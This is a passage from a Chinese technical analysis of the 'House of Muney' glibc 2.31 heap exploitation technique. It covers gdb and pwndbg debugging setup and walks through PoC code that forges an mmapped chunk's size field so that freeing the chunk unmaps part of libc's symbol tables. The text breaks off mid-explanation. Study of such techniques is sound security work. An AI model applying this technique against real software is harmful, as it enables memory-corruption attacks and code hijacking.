House of Muney 分析
House of Muney 分析
Glibc带源码调试
因为在分析的最后涉及通过GDB
调试来确定一些关键变量的取值,因此为了调试方便,在此处说明如何启动带源码的glibc
调试
注:以下步骤均在ubuntu 21.04(Ubuntu GLIBC 2.31-0ubuntu9.2)
测试通过。
安装debug版本的动态链接库
使用以下命令以安装带Debug
符号的Libc
文件
sudo apt-get install libc6-dbg libc6-dbg:i386
sudo apt-get install libc6-dev libc6-dev:i386
安装结束后,会在系统的/lib/debug
下创建形如下图的目录
获取libc源码
确认source.list
内deb-src
项已经被解除注释
在待分析程序的同目录下使用以下命令获取libc
源码
sudo apt source glibc
请注意!此命令会获取当前最新的ubuntu glibc
源码,因此请保证当前的系统内的libc
版本为最新
调试模式编译待调试程序(以PoC为例)
使用以下命令编译程序
gcc -z lazy -g -o munmap_rewrite munmap_rewrite.c
PS:其中,-z lazy
用于保证PoC
可用,与调试模式无关
使用gdb
对待测程序进行附加,并执行相关环境配置
error404@Glibc-231:~$ gdb munmap_rewrite_normal
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 197 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from munmap_rewrite_normal...
pwndbg> set debug-file-directory /glibc-2.31/elf
pwndbg> dir /glibc-2.31/elf
Source directories searched: /glibc-2.31/elf:$cdir:$cwd
pwndbg> info share ld-linux
From To Syms Read Shared Object Library
0x00007ffff7fd0100 0x00007ffff7ff2674 Yes (*) /lib64/ld-linux-x86-64.so.2
(*): Shared library is missing debugging information.
pwndbg> add-symbol-file /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.31.so 0x00007ffff7fd0100
add symbol table from file "/usr/lib/debug/lib/x86_64-linux-gnu/ld-2.31.so" at
.text_addr = 0x7ffff7fd0100
Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.31.so...
PoC 分析
“窃取”Glibc
内存至堆中(RO -> NO
)
首先分配一个Chunk
阻止Top Chunk
合并的发生
int* ptr1 = malloc(0x10);
随后申请两个特殊大小(0x100000
)的Chunk
(极大块),这种大小的Chunk
将不会存放于常规的堆空间,而是放在特殊的mmaped
区域。
long long* mmap_chunk_1 = malloc(0x100000);
printf("The first malloc chunk goes below LibC: %p\n", mmap_chunk_1);
long long* mmap_chunk_2 = malloc(0x100000);
printf("The second malloc chunk goes below the first malloc chunk: %p\n", mmap_chunk_2);
此时,内存布局情况为(逻辑图):
(由低地址向高地址排布) |
---|
常规堆区域 |
…… |
mmap_chunk_2 |
mmap_chunk_1 |
Glibc |
…… |
LD 区域 |
内存布局情况为(实例图):
内存实际情况为(以上实例与本实例并非同一次运行):
可以看到,此时mmap_chunk_2
和mmap_chunk_1
的Prev_Size
均为0
,Size
均为0x101002
通过readelf -all /lib/x86_64-linux-gnu/libc.so.6
对glibc
文件分析
我们的目标是覆盖.gnu.hash
和.dynsym
,因此我们此处选用0x15000
作为偏移(确保不会影响到.dynstr
)
int libc_to_overwrite = 0x15000;
此外,我们还必须保证新的size
为原来的两个size
之和加上此偏移,而我们又已知chunk
的size
存在标志位,那么实际大小计算为
int fake_chunk_size = (0xFFFFFFFFFD & mmap_chunk_2[-1]) + (0xFFFFFFFFFD & mmap_chunk_1[-1]);
fake_chunk_size += libc_to_overwrite | 2;
执行覆盖操作
mmap_chunk_2[-1] = fake_chunk_size;
内存实际情况为:
接下来对mmap_chunk_2
进行释放
free(mmap_chunk_2);
注意